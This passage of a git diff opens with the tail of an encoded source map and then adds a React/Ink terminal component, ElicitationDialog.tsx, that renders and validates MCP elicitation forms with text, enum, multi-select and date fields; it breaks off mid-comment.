ZXJzRm9yU2VsZWN0ZWRFdmVudC5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gKFxuICAgICAgPERpYWxvZ1xuICAgICAgICB0aXRsZT17YCR7c2VsZWN0ZWRFdmVudH0gLSBNYXRjaGVyc2B9XG4gICAgICAgIHN1YnRpdGxlPXtldmVudERlc2NyaXB0aW9ufVxuICAgICAgICBvbkNhbmNlbD17b25DYW5jZWx9XG4gICAgICAgIGlucHV0R3VpZGU9eygpID0+IDxUZXh0PkVzYyB0byBnbyBiYWNrPC9UZXh0Pn1cbiAgICAgID5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgZ2FwPXsxfT5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5ObyBob29rcyBjb25maWd1cmVkIGZvciB0aGlzIGV2ZW50LjwvVGV4dD5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgIFRvIGFkZCBob29rcywgZWRpdCBzZXR0aW5ncy5qc29uIGRpcmVjdGx5IG9yIGFzayBDbGF1ZGUuXG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgIDwvRGlhbG9nPlxuICAgIClcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPERpYWxvZ1xuICAgICAgdGl0bGU9e2Ake3NlbGVjdGVkRXZlbnR9IC0gTWF0Y2hlcnNgfVxuICAgICAgc3VidGl0bGU9e2V2ZW50RGVzY3JpcHRpb259XG4gICAgICBvbkNhbmNlbD17b25DYW5jZWx9XG4gICAgPlxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICAgIDxTZWxlY3RcbiAgICAgICAgICBvcHRpb25zPXttYXRjaGVyc1dpdGhTb3VyY2VzLm1hcChpdGVtID0+IHtcbiAgICAgICAgICAgIGNvbnN0IHNvdXJjZVRleHQgPSBpdGVtLnNvdXJjZXNcbiAgICAgICAgICAgICAgLm1hcChob29rU291cmNlSW5saW5lRGlzcGxheVN0cmluZylcbiAgICAgICAgICAgICAgLmpvaW4oJywgJylcbiAgICAgICAgICAgIGNvbnN0IG1hdGNoZXJMYWJlbCA9IGl0ZW0ubWF0Y2hlciB8fCAnKGFsbCknXG4gICAgICAgICAgICByZXR1cm4ge1xuICAgICAgICAgICAgICBsYWJlbDogYFske3NvdXJjZVRleHR9XSAke21hdGNoZXJMYWJlbH1gLFxuICAgICAgICAgICAgICB2YWx1ZTogaXRlbS5tYXRjaGVyLFxuICAgICAgICAgICAgICBkZXNjcmlwdGlvbjogYCR7aXRlbS5ob29rQ291bnR9ICR7cGx1cmFsKGl0ZW0uaG9va0NvdW50LCAnaG9vaycpfWAsXG4gICAgICAgICAgICB9XG4gICAgICAgICAgfSl9XG4gICAgICAgICAgb25DaGFuZ2U9e3ZhbHVlID0+IHtcbiAgICAgICAgICAgIG9uU2VsZWN0KHZhbHVlKVxuICAgICAgICAgIH19XG4gICAgICAgICAgb25DYW5jZWw9e29uQ2FuY2VsfVxuICAgICAgICAvPlxuICAgICAgPC9Cb3g+XG4gICAgPC9EaWFsb2c+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsY0FBY0MsU0FBUyxRQUFRLGtDQUFrQztBQUNqRSxTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQ3hDLFNBQ0UsS0FBS0MsVUFBVSxFQUNmQyw2QkFBNkIsRUFDN0IsS0FBS0Msb0JBQW9CLFFBQ3BCLG9DQUFvQztBQUMzQyxTQUFTQyxNQUFNLFFBQVEsNEJBQTRCO0FBQ25ELFNBQVNDLE1BQU0sUUFBUSwyQkFBMkI7QUFDbEQsU0FBU0MsTUFBTSxRQUFRLDRCQUE0QjtBQUVuRCxLQUFLQyxpQkFBaUIsR0FBRztFQUN2QkMsT0FBTyxFQUFFLE1BQU07RUFDZkMsT0FBTyxFQUFFUixVQUFVLEVBQUU7RUFDckJTLFNBQVMsRUFBRSxNQUFNO0FBQ25CLENBQUM7QUFFRCxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsYUFBYSxFQUFFZCxTQUFTO0VBQ3hCZSx3QkFBd0IsRUFB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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/mcp/ElicitationDialog.tsx b/_all-in-one-upload/cc-haha/src/components/mcp/ElicitationDialog.tsx
new file mode 100644
index 0000000..2fdf0e6
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/mcp/ElicitationDialog.tsx
@@ -0,0 +1,1169 @@
+import { c as _c } from "react/compiler-runtime";
+import type { ElicitRequestFormParams, ElicitRequestURLParams, ElicitResult, PrimitiveSchemaDefinition } from '@modelcontextprotocol/sdk/types.js';
+import figures from 'figures';
+import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { useRegisterOverlay } from '../../context/overlayContext.js';
+import { useNotifyAfterTimeout } from '../../hooks/useNotifyAfterTimeout.js';
+import { useTerminalSize } from '../../hooks/useTerminalSize.js';
+// eslint-disable-next-line custom-rules/prefer-use-keybindings -- raw text input for elicitation form
+import { Box, Text, useInput } from '../../ink.js';
+import { useKeybinding } from '../../keybindings/useKeybinding.js';
+import type { ElicitationRequestEvent } from '../../services/mcp/elicitationHandler.js';
+import { openBrowser } from '../../utils/browser.js';
+import { getEnumLabel, getEnumValues, getMultiSelectLabel, getMultiSelectValues, isDateTimeSchema, isEnumSchema, isMultiSelectEnumSchema, validateElicitationInput, validateElicitationInputAsync } from '../../utils/mcp/elicitationValidation.js';
+import { plural } from '../../utils/stringUtils.js';
+import { ConfigurableShortcutHint } from '../ConfigurableShortcutHint.js';
+import { Byline } from '../design-system/Byline.js';
+import { Dialog } from '../design-system/Dialog.js';
+import { KeyboardShortcutHint } from '../design-system/KeyboardShortcutHint.js';
+import TextInput from '../TextInput.js';
+type Props = {
+  event: ElicitationRequestEvent;
+  onResponse: (action: ElicitResult['action'], content?: ElicitResult['content']) => void;
+  /** Called when the phase 2 waiting state is dismissed (URL elicitations only). */
+  onWaitingDismiss?: (action: 'dismiss' | 'retry' | 'cancel') => void;
+};
+const isTextField = (s: PrimitiveSchemaDefinition) => ['string', 'number', 'integer'].includes(s.type);
+const RESOLVING_SPINNER_CHARS = '\u280B\u2819\u2839\u2838\u283C\u2834\u2826\u2827\u2807\u280F';
+const advanceSpinnerFrame = (f: number) => (f + 1) % RESOLVING_SPINNER_CHARS.length;
+
+/** Timer callback for enumTypeaheadRef — module-scope to avoid closure capture. */
+function resetTypeahead(ta: {
+  buffer: string;
+  timer: ReturnType<typeof setTimeout> | undefined;
+}): void {
+  ta.buffer = '';
+  ta.timer = undefined;
+}
+
+/**
+ * Isolated spinner glyph for a field that is being resolved asynchronously.
+ * Owns its own 80ms animation timer so ticks only re-render this tiny leaf,
+ * not the entire ElicitationFormDialog (~1200 lines + renderFormFields).
+ * Mounted/unmounted by the parent via the `isResolving` condition.
+ *
+ * Not using the shared <Spinner /> from ../Spinner.js: that one renders in a
+ * <Box width={2}> with color="text", which would break the 1-col checkbox
+ * column alignment here (other checkbox states are width-1 glyphs).
+ */
+function ResolvingSpinner() {
+  const $ = _c(4);
+  const [frame, setFrame] = useState(0);
+  let t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      const timer = setInterval(setFrame, 80, advanceSpinnerFrame);
+      return () => clearInterval(timer);
+    };
+    t1 = [];
+    $[0] = t0;
+    $[1] = t1;
+  } else {
+    t0 = $[0];
+    t1 = $[1];
+  }
+  useEffect(t0, t1);
+  const t2 = RESOLVING_SPINNER_CHARS[frame];
+  let t3;
+  if ($[2] !== t2) {
+    t3 = <Text color="warning">{t2}</Text>;
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  return t3;
+}
+
+/** Format an ISO date/datetime for display, keeping the ISO value for submission. */
+function formatDateDisplay(isoValue: string, schema: PrimitiveSchemaDefinition): string {
+  try {
+    const date = new Date(isoValue);
+    if (Number.isNaN(date.getTime())) return isoValue;
+    const format = 'format' in schema ? schema.format : undefined;
+    if (format === 'date-time') {
+      return date.toLocaleDateString('en-US', {
+        weekday: 'short',
+        year: 'numeric',
+        month: 'short',
+        day: 'numeric',
+        hour: 'numeric',
+        minute: '2-digit',
+        timeZoneName: 'short'
+      });
+    }
+    // date-only: parse as local date to avoid timezone shift
+    const parts = isoValue.split('-');
+    if (parts.length === 3) {
+      const local = new Date(Number(parts[0]), Number(parts[1]) - 1, Number(parts[2]));
+      return local.toLocaleDateString('en-US', {
+        weekday: 'short',
+        year: 'numeric',
+        month: 'short',
+        day: 'numeric'
+      });
+    }
+    return isoValue;
+  } catch {
+    return isoValue;
+  }
+}
+export function ElicitationDialog(t0) {
+  const $ = _c(7);
+  const {
+    event,
+    onResponse,
+    onWaitingDismiss
+  } = t0;
+  if (event.params.mode === "url") {
+    let t1;
+    if ($[0] !== event || $[1] !== onResponse || $[2] !== onWaitingDismiss) {
+      t1 = <ElicitationURLDialog event={event} onResponse={onResponse} onWaitingDismiss={onWaitingDismiss} />;
+      $[0] = event;
+      $[1] = onResponse;
+      $[2] = onWaitingDismiss;
+      $[3] = t1;
+    } else {
+      t1 = $[3];
+    }
+    return t1;
+  }
+  let t1;
+  if ($[4] !== event || $[5] !== onResponse) {
+    t1 = <ElicitationFormDialog event={event} onResponse={onResponse} />;
+    $[4] = event;
+    $[5] = onResponse;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  return t1;
+}
+function ElicitationFormDialog({
+  event,
+  onResponse
+}: {
+  event: ElicitationRequestEvent;
+  onResponse: Props['onResponse'];
+}): React.ReactNode {
+  const {
+    serverName,
+    signal
+  } = event;
+  const request = event.params as ElicitRequestFormParams;
+  const {
+    message,
+    requestedSchema
+  } = request;
+  const hasFields = Object.keys(requestedSchema.properties).length > 0;
+  const [focusedButton, setFocusedButton] = useState<'accept' | 'decline' | null>(hasFields ? null : 'accept');
+  const [formValues, setFormValues] = useState<Record<string, string | number | boolean | string[]>>(() => {
+    const initialValues: Record<string, string | number | boolean | string[]> = {};
+    if (requestedSchema.properties) {
+      for (const [propName, propSchema] of Object.entries(requestedSchema.properties)) {
+        if (typeof propSchema === 'object' && propSchema !== null) {
+          if (propSchema.default !== undefined) {
+            initialValues[propName] = propSchema.default;
+          }
+        }
+      }
+    }
+    return initialValues;
+  });
+  const [validationErrors, setValidationErrors] = useState<Record<string, string>>(() => {
+    const initialErrors: Record<string, string> = {};
+    for (const [propName_0, propSchema_0] of Object.entries(requestedSchema.properties)) {
+      if (isTextField(propSchema_0) && propSchema_0?.default !== undefined) {
+        const validation = validateElicitationInput(String(propSchema_0.default), propSchema_0);
+        if (!validation.isValid && validation.error) {
+          initialErrors[propName_0] = validation.error;
+        }
+      }
+    }
+    return initialErrors;
+  });
+  useEffect(() => {
+    if (!signal) return;
+    const handleAbort = () => {
+      onResponse('cancel');
+    };
+    if (signal.aborted) {
+      handleAbort();
+      return;
+    }
+    signal.addEventListener('abort', handleAbort);
+    return () => {
+      signal.removeEventListener('abort', handleAbort);
+    };
+  }, [signal, onResponse]);
+  const schemaFields = useMemo(() => {
+    const requiredFields = requestedSchema.required ?? [];
+    return Object.entries(requestedSchema.properties).map(([name, schema]) => ({
+      name,
+      schema,
+      isRequired: requiredFields.includes(name)
+    }));
+  }, [requestedSchema]);
+  const [currentFieldIndex, setCurrentFieldIndex] = useState<number | undefined>(hasFields ? 0 : undefined);
+  const [textInputValue, setTextInputValue] = useState(() => {
+    // Initialize from the first field's value if it's a text field
+    const firstField = schemaFields[0];
+    if (firstField && isTextField(firstField.schema)) {
+      const val = formValues[firstField.name];
+      if (val === undefined) return '';
+      return String(val);
+    }
+    return '';
+  });
+  const [textInputCursorOffset, setTextInputCursorOffset] = useState(textInputValue.length);
+  const [resolvingFields, setResolvingFields] = useState<Set<string>>(() => new Set());
+  // Accordion state (shared by multi-select and single-select enum)
+  const [expandedAccordion, setExpandedAccordion] = useState<string | undefined>();
+  const [accordionOptionIndex, setAccordionOptionIndex] = useState(0);
+  const dateDebounceRef = useRef<ReturnType<typeof setTimeout> | undefined>(undefined);
+  const resolveAbortRef = useRef<Map<string, AbortController>>(new Map());
+  const enumTypeaheadRef = useRef({
+    buffer: '',
+    timer: undefined as ReturnType<typeof setTimeout> | undefined
+  });
+
+  // Clear pending debounce/typeahead timers and abort in-flight async
+  // validations on unmount so they don't fire against an unmounted component
+  // (e.g. dialog dismissed mid-debounce or mid-resolve).
+  useEffect(() => () => {
+    if (dateDebounceRef.current !== undefined) {
+      clearTimeout(dateDebounceRef.current);
+    }
+    const ta = enumTypeaheadRef.current;
+    if (ta.timer !== undefined) {
+      clearTimeout(ta.timer);
+    }
+    for (const controller of resolveAbortRef.current.values()) {
+      controller.abort();
+    }
+    resolveAbortRef.current.clear();
+  }, []);
+  const {
+    columns,
+    rows
+  } = useTerminalSize();
+  const currentField = currentFieldIndex !== undefined ? schemaFields[currentFieldIndex] : undefined;
+  const currentFieldIsText = currentField !== undefined && isTextField(currentField.schema) && !isEnumSchema(currentField.schema);
+
+  // Text fields are always in edit mode when focused — no Enter-to-edit step.
+  const isEditingTextField = currentFieldIsText && !focusedButton;
+  useRegisterOverlay('elicitation');
+  useNotifyAfterTimeout('Claude Code needs your input', 'elicitation_dialog');
+
+  // Sync textInputValue when the focused field changes
+  const syncTextInput = useCallback((fieldIndex: number | undefined) => {
+    if (fieldIndex === undefined) {
+      setTextInputValue('');
+      setTextInputCursorOffset(0);
+      return;
+    }
+    const field = schemaFields[fieldIndex];
+    if (field && isTextField(field.schema) && !isEnumSchema(field.schema)) {
+      const val_0 = formValues[field.name];
+      const text = val_0 !== undefined ? String(val_0) : '';
+      setTextInputValue(text);
+      setTextInputCursorOffset(text.length);
+    }
+  }, [schemaFields, formValues]);
+  function validateMultiSelect(fieldName: string, schema_0: PrimitiveSchemaDefinition) {
+    if (!isMultiSelectEnumSchema(schema_0)) return;
+    const selected = formValues[fieldName] as string[] | undefined ?? [];
+    const fieldRequired = schemaFields.find(f => f.name === fieldName)?.isRequired ?? false;
+    const min = schema_0.minItems;
+    const max = schema_0.maxItems;
+    // Skip minItems check when field is optional and unset
+    if (min !== undefined && selected.length < min && (selected.length > 0 || fieldRequired)) {
+      updateValidationError(fieldName, `Select at least ${min} ${plural(min, 'item')}`);
+    } else if (max !== undefined && selected.length > max) {
+      updateValidationError(fieldName, `Select at most ${max} ${plural(max, 'item')}`);
+    } else {
+      updateValidationError(fieldName);
+    }
+  }
+  function handleNavigation(direction: 'up' | 'down'): void {
+    // Collapse accordion and validate on navigate away
+    if (currentField && isMultiSelectEnumSchema(currentField.schema)) {
+      validateMultiSelect(currentField.name, currentField.schema);
+      setExpandedAccordion(undefined);
+    } else if (currentField && isEnumSchema(currentField.schema)) {
+      setExpandedAccordion(undefined);
+    }
+
+    // Commit current text field before navigating away
+    if (isEditingTextField && currentField) {
+      commitTextField(currentField.name, currentField.schema, textInputValue);
+
+      // Cancel any pending debounce — we're resolving now on navigate-away
+      if (dateDebounceRef.current !== undefined) {
+        clearTimeout(dateDebounceRef.current);
+        dateDebounceRef.current = undefined;
+      }
+
+      // For date/datetime fields that failed sync validation, try async NL parsing
+      if (isDateTimeSchema(currentField.schema) && textInputValue.trim() !== '' && validationErrors[currentField.name]) {
+        resolveFieldAsync(currentField.name, currentField.schema, textInputValue);
+      }
+    }
+
+    // Fields + accept + decline
+    const itemCount = schemaFields.length + 2;
+    const index = currentFieldIndex ?? (focusedButton === 'accept' ? schemaFields.length : focusedButton === 'decline' ? schemaFields.length + 1 : undefined);
+    const nextIndex = index !== undefined ? (index + (direction === 'up' ? itemCount - 1 : 1)) % itemCount : 0;
+    if (nextIndex < schemaFields.length) {
+      setCurrentFieldIndex(nextIndex);
+      setFocusedButton(null);
+      syncTextInput(nextIndex);
+    } else {
+      setCurrentFieldIndex(undefined);
+      setFocusedButton(nextIndex === schemaFields.length ? 'accept' : 'decline');
+      setTextInputValue('');
+    }
+  }
+  function setField(fieldName_0: string, value: number | string | boolean | string[] | undefined) {
+    setFormValues(prev => {
+      const next = {
+        ...prev
+      };
+      if (value === undefined) {
+        delete next[fieldName_0];
+      } else {
+        next[fieldName_0] = value;
+      }
+      return next;
+    });
+    // Clear "required" error when a value is provided
+    if (value !== undefined && validationErrors[fieldName_0] === 'This field is required') {
+      updateValidationError(fieldName_0);
+    }
+  }
+  function updateValidationError(fieldName_1: string, error?: string) {
+    setValidationErrors(prev_0 => {
+      const next_0 = {
+        ...prev_0
+      };
+      if (error) {
+        next_0[fieldName_1] = error;
+      } else {
+        delete next_0[fieldName_1];
+      }
+      return next_0;
+    });
+  }
+  function unsetField(fieldName_2: string) {
+    if (!fieldName_2) return;
+    setField(fieldName_2, undefined);
+    updateValidationError(fieldName_2);
+    setTextInputValue('');
+    setTextInputCursorOffset(0);
+  }
+  function commitTextField(fieldName_3: string, schema_1: PrimitiveSchemaDefinition, value_0: string) {
+    const trimmedValue = value_0.trim();
+
+    // Empty input for non-plain-string types means unset
+    if (trimmedValue === '' && (schema_1.type !== 'string' || 'format' in schema_1 && schema_1.format !== undefined)) {
+      unsetField(fieldName_3);
+      return;
+    }
+    if (trimmedValue === '') {
+      // Empty plain string — keep or unset depending on whether it was set
+      if (formValues[fieldName_3] !== undefined) {
+        setField(fieldName_3, '');
+      }
+      return;
+    }
+    const validation_0 = validateElicitationInput(value_0, schema_1);
+    setField(fieldName_3, validation_0.isValid ? validation_0.value : value_0);
+    updateValidationError(fieldName_3, validation_0.isValid ? undefined : validation_0.error);
+  }
+  function resolveFieldAsync(fieldName_4: string, schema_2: PrimitiveSchemaDefinition, rawValue: string) {
+    if (!signal) return;
+
+    // Abort any existing resolution for this field
+    const existing = resolveAbortRef.current.get(fieldName_4);
+    if (existing) {
+      existing.abort();
+    }
+    const controller_0 = new AbortController();
+    resolveAbortRef.current.set(fieldName_4, controller_0);
+    setResolvingFields(prev_1 => new Set(prev_1).add(fieldName_4));
+    void validateElicitationInputAsync(rawValue, schema_2, controller_0.signal).then(result => {
+      resolveAbortRef.current.delete(fieldName_4);
+      setResolvingFields(prev_2 => {
+        const next_1 = new Set(prev_2);
+        next_1.delete(fieldName_4);
+        return next_1;
+      });
+      if (controller_0.signal.aborted) return;
+      if (result.isValid) {
+        setField(fieldName_4, result.value);
+        updateValidationError(fieldName_4);
+        // Update the text input if we're still on this field
+        const isoText = String(result.value);
+        setTextInputValue(prev_3 => {
+          // Only replace if the field is still showing the raw input
+          if (prev_3 === rawValue) {
+            setTextInputCursorOffset(isoText.length);
+            return isoText;
+          }
+          return prev_3;
+        });
+      } else {
+        // Keep raw text, show validation error
+        updateValidationError(fieldName_4, result.error);
+      }
+    }, () => {
+      resolveAbortRef.current.delete(fieldName_4);
+      setResolvingFields(prev_4 => {
+        const next_2 = new Set(prev_4);
+        next_2.delete(fieldName_4);
+        return next_2;
+      });
+    });
+  }
+  function handleTextInputChange(newValue: string) {
+    setTextInputValue(newValue);
+    // Commit immediately on each keystroke (sync validation)
+    if (currentField) {
+      commitTextField(currentField.name, currentField.schema, newValue);
+
+      // For date/datetime fields, debounce async NL parsing after 2s of inactivity
+      if (dateDebounceRef.current !== undefined) {
+        clearTimeout(dateDebounceRef.current);
+        dateDebounceRef.current = undefined;
+      }
+      if (isDateTimeSchema(currentField.schema) && newValue.trim() !== '' && validationErrors[currentField.name]) {
+        const fieldName_5 = currentField.name;
+        const schema_3 = currentField.schema;
+        dateDebounceRef.current = setTimeout((dateDebounceRef_0, resolveFieldAsync_0, fieldName_6, schema_4, newValue_0) => {
+          dateDebounceRef_0.current = undefined;
+          resolveFieldAsync_0(fieldName_6, schema_4, newValue_0);
+        }, 2000, dateDebounceRef, resolveFieldAsync, fieldName_5, schema_3, newValue);
+      }
+    }
+  }
+  function handleTextInputSubmit() {
+    handleNavigation('down');
+  }
+
+  /**
+   * Append a keystroke to the typeahead buffer (reset after 2s idle) and
